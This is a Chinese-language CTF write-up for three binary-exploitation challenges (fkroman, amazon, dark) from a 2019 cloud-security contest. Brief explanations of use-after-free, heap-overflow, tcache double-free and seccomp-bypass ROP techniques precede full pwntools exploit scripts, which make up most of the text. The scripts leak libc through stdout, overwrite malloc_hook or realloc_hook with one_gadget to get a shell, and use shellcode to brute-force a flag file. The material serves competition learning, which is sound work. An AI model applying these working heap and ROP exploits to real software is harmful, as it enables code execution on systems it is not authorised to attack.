2019数字经济云安全共测大赛初赛_pwn

fkroman

  • 与De1CTF 2019 的Weapon基本一样,delete存在uaf,edit函数存在堆溢出,题目没有输出函数,所以要通过_IO_FILE来泄漏libc,

  • 具体思路为先free一个fastbin,然后利用堆溢出修改fastbin的size为0x91,再次free,此时chunk即会包含main_arena+88,而后再利用UAF将fd爆破指向stdout前的位置(包含合法size”\x7F”),进而修改stdout结构体的_flags和_IO_write_base来输出一段数据(包含libc_addr)
    leak后再次利用uaf修改malloc_hook为one_target即可get shell

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
from pwn import *
#context.log_level = 'debug'


def sl(x):
p.sendline(x)

def ru(x):
p.recvuntil(x)

def sd(x):
p.send(x)

def alloc(idx,size):
ru('choice: ')
sl('1')
ru('Index: ')
sl(str(idx))
ru('Size: ')
sl(str(size))

def free(idx):
ru('choice: ')
sl('3')
ru('Index: ')
sl(str(idx))


def edit(idx,size,cont):
ru('choice: ')
sl('4')
ru('Index: ')
sl(str(idx))
ru('Size: ')
sl(str(size))
ru('Content: ')
sd(cont)

def pwn(p):
#gdb.attach(p)
alloc(0,0x10)
alloc(1,0x60)
alloc(2,0x60)
alloc(3,0x90)
alloc(4,0x20)

free(1)
pay = p64(0)*3 + p64(0xe1)
edit(0,len(pay),pay)
free(3)
free(1)
pay = p64(0)*3 + p64(0x71)
edit(0,len(pay),pay)

#baopo stdout -> leak libc
#0x7f61bcf41b78 -> 0x7f61bcf42620
#0x7fa54b50bb78 -> 0x7fa54b50c620
#1/16 chance
pay = '\xdd' + '\x25'
edit(1,len(pay),pay)
alloc(5,0x60)
alloc(5,0x60)
pay = '\x00'*3 + p64(0)*6 + p64(0xfbad1887) + p64(0)*3 + '\x00'
edit(5,len(pay),pay)

p.recvuntil("\x7f")
p.recv(2)
libc_base = u64(p.recv(8))-0x7ffff7dd26a3+0x7ffff7a0d000
malloc_hook = libc_base + 0x3c4b10
log.success('libc_base : 0x%x'%libc_base)
info('malloc_hook : 0x%x'%malloc_hook)
one_gadget = libc_base + 0x4526a

#uaf hijack malloc_hook -> one_gadget
free(2)
edit(2,8,p64(malloc_hook-0x23))
alloc(2,0x60)
alloc(2,0x60)
pay = 'a'*0x13 + p64(one_gadget)
edit(2,len(pay),pay)

#trigger malloc_hook
ru('choice: ')
sl('1')
ru('Index: ')
sl('0')
ru('Size: ')
sl('10')


p.interactive()

while True:
try:
p = process('./fkroman')
pwn(p)
except Exception as e:
p.close()

amazon

  • tcache的题目,题目有uaf,uaf先泄漏libc,但是由于出题人错开了0x20写的位置,所以通过先free一个chunk进tcache,然后等填充满tcache时再double free,同时通过前向合并再malloc一个大的堆块可以对tache bin的fd进行修改,由于直接改malloc_hook不符合one_gadget的条件,所以通过realloc_hook和malloc_hook来出发one_gadget
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
from pwn import *
context.log_level = 'debug'

p = process('./amazon')

def sl(x):
p.sendline(x)

def sd(x):
p.send(x)

def ru(x):
p.recvuntil(x)

def buy(item,many,size,cont):
ru('Your choice: ')
sl('1')
ru('want to buy: ')
sl(str(item))
ru('How many: ')
sl(str(many))
ru('r note: ')
sl(str(size))
ru('Content: ')
sd(cont)

def show():
ru('Your choice: ')
sl('2')

def checkout(idx):
ru('Your choice: ')
sl('3')
ru('pay for: ')
sl(str(idx))


for i in range(12):
buy(0,30,0x80,'aaaa')

for i in range(8):
checkout(i)

show()
for i in range(8):
p.recvuntil('Name: ')

leak_addr = u64(p.recv(6).ljust(8,'\x00'))
info('leak_addr : 0x%x'%leak_addr)
libc_base = leak_addr - 96 - 0x3ebc40
info('libc base : 0x%x'%libc_base)
realloc_hook = libc_base + 0x3ebc28 - 0x20
malloc_hook = libc_base + 0x3ebc30
one_gadget = libc_base + 0x10a38c
libc = ELF('libc-2.27.so')
realloc = libc_base + libc.symbols['__libc_realloc']
checkout(3)
checkout(4)

pay = 'd'*0x80 + p64(0xb0) + p64(0xb0) + p64(realloc_hook)
buy(0,30,0x100,pay)

buy(0,30,0x80,'1')
buy(0,30,0x80,'1')
buy(0,30,0x80,'1')
buy(0,30,0xa0-0x28,p64(one_gadget)+p64(realloc+9))

gdb.attach(p,'b *0x5555555552e7')
ru('Your choice: ')
sl('1')
ru('want to buy: ')
sl('0')
ru('How many: ')
sl('10')
ru('r note: ')
sl('10')
#


p.interactive()

dark

  • 程序限制了只能执行mprotect,read,open的syscall,程序有明显的栈溢出,所以思路是先通过mprotect改bss为rwx,然后往bss段上写shellcode,open,read我们的flag到bss段上,最后再shellcode爆破,爆破思路如下,alarm+5的地址有syscall,所以我们可以先改alarm_got的地址为alarm+5即为syscall

  • 具体的思路可以参考https://ama2in9.top/2019/09/22/CloudSecCTF/#more

  • 以及写shellcode爆破flag的思路来源 https://bbs.pediy.com/thread-217899-1.htm

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
#coding:utf-8
import signal
from pwn import *

#context.log_level = 'debug'
context.binary = './dark'





def sl(x):
p.sendline(x)

def sd(x):
p.send(x)

def ru(x):
p.recvuntil(x)

def csu(chunk,fake_rbp,r12,r13,r14,r15,call_addr):
p6_ret = 0x401272
mov_call = 0x401258
pay = chunk + p64(p6_ret)
pay += p64(0) + p64(1) + p64(r12)
pay += p64(r13) + p64(r14) + p64(r15)
pay += p64(mov_call) + 'a'*16 + p64(fake_rbp)
pay += 'a'*32 + p64(call_addr)
return pay

def pwn(p,num,char):

# rbx rbp r12 r13 r14 r15
# 0 1 call_got rdi rsi rdx

#rbx rbp r12 r13 r14 r15
p6_ret = 0x401272
mov_call = 0x401258
alarm_got = 0x404030
read_got = 0x404038
bss_addr = 0x404050+0x100
main_addr = 0x4011F1
leave_ret = 0x4011ef

#read(0,bss,0x1000) -> stack migration
pay = csu('a'*0x18,bss_addr,read_got,0,bss_addr,0x1000,leave_ret)

#gdb.attach(p,'b *0x401261')
sd(pay)

sleep(0.1)

#bss -> read(0,alarm_got,1)
pay = csu('a'*8,bss_addr+0x100,read_got,0,alarm_got,0x1,leave_ret)
pay = pay.ljust(0x100,'a')

#bss+0x100 -> set rax
pay += csu('a'*8,bss_addr+0x200,read_got,0,bss_addr-0x50,0xa,leave_ret)
pay = pay.ljust(0x200,'a')

#bss+0x200 -> mrpotect(0x404000,0x1000,7)
pay += csu('a'*8,bss_addr+0x300,alarm_got,0x404000,0x1000,7,leave_ret)
pay = pay.ljust(0x300,'a')

#open('/flag')
pay += 'a'*8 + p64(0x404460)
pay += asm(shellcraft.amd64.linux.open('./flag\x00'))
pay += asm(shellcraft.amd64.linux.read(3,bss_addr+0x500,0x50))
flag_addr = 0x404650
sc = asm('''
xor rdi,rdi;
xor rsi,rsi;
xor rdx,rdx;
push 0x404650;
pop rcx;
push 0x404750;
pop rsi;
mov rdx,0x100;
''')
sc += asm('mov rbx,[rcx+'+str(num)+']')
sc += asm('cmp bl,'+str(char))
sc += '\x74\x08' #je 8
sc += 'a'*8
sc += asm('mov rax,0;syscall')
pay += sc

sd(pay)

sleep(0.1)
sd('\x45')

sleep(0.1)
sd('a'*0xa)


#p.interactive()
#sd('a')




def myHandler(signum, frame):
#print 'cont : ',cont
print 'index : ',index,'i : ',i
cont.append(i)
print cont
if i == 125:
flag = ''
for j in cont:
flag += chr(j)
print flag
exit()

index = 0
cont = []
m = 'bbb'

while True:
for i in range(0x20,0x80):
signal.signal(signal.SIGALRM, myHandler)
signal.alarm(3)
try:
#print 'index',index,'i : ',i
p = process('./dark')
pwn(p,index,i)
p.recvline()
p.close()
except Exception as e:
p.close()
finally:
p.close()
index += 1